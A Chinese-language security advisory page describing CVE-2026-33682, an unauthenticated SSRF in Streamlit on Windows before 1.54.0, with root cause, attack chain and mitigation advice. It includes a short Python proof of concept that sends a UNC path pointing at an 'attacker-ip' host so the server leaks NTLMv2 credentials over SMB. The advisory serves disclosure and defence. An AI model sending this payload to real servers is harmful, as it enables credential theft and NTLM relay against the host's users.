IPBUF安全漏洞报告
English
CVE-2026-33682 CVSS 4.7 中危

CVE-2026-33682 Streamlit Windows SSRF漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-33682
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
4.7 中危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Streamlit

相关标签

SSRFStreamlitNTLM RelayWindowsCVE-2026-33682

漏洞概述

Streamlit是Python的数据应用开发框架。在Windows主机上运行的1.54.0版本之前的Streamlit开源版本存在未经身份验证的服务端请求伪造(SSRF)漏洞。该漏洞源于对攻击者提供的文件系统路径验证不当。攻击者可利用恶意的UNC路径导致Streamlit服务器向攻击者控制的主机发起出站SMB连接,从而泄露Windows用户的NTLMv2凭据或进行NTLM中继攻击。

技术细节

该漏洞的根本原因在于Streamlit在处理文件系统路径时,使用了`os.path.realpath()`或`Path.resolve()`进行路径解析,但在解析完成前未能进行充分的安全验证。在Windows系统中,以反斜杠开头的路径(如`\\attacker\share`)会被识别为通用命名约定(UNC)路径。当攻击者构造此类恶意路径并发送给服务器时,Streamlit会尝试解析该路径,进而触发Windows系统向远程SMB服务器(端口445)发起连接。在此过程中,Windows会自动尝试使用运行Streamlit进程的用户凭据(NTLMv2挑战-响应)进行身份验证。由于缺乏适当的验证机制,攻击者可以通过监听SMB流量捕获这些凭据,或者利用NTLM中继技术攻击内部其他服务,同时还可通过时间分析判断内部SMB主机的可达性。

攻击链分析

STEP 1
侦察
攻击者识别出运行在Windows操作系统上且版本低于1.54.0的Streamlit应用。
STEP 2
漏洞利用
攻击者向Streamlit服务器的特定接口(如ComponentRequestHandler)发送包含恶意UNC路径(\\attacker\share)的请求。
STEP 3
SMB连接触发
Streamlit服务器在解析路径时,Windows系统尝试连接攻击者控制的SMB服务器以访问该共享。
STEP 4
凭据泄露
Windows自动使用运行Streamlit服务的用户身份进行NTLMv2认证,导致凭据哈希发送给攻击者,或被用于NTLM中继攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target Streamlit URL (Example endpoint) target_url = "http://vulnerable-streamlit-host:8501/_stcore/path" # Malicious UNC path to trigger SMB connection # Replace 'attacker-ip' with the listener's IP address malicious_path = "\\\\attacker-ip\\share\\test.txt" try: # Send request with the malicious UNC path response = requests.get( target_url, params={"path": malicious_path}, timeout=10 ) print(f"Status Code: {response.status_code}") print("Check SMB listener for NTLMv2 hash capture.") except Exception as e: print(f"Request failed: {e}")

影响范围

Streamlit Open Source < 1.54.0

防御指南

临时缓解措施
建议通过防火墙规则限制服务器出站SMB流量(TCP/445),仅允许受信任的内网通信,直到完成版本升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表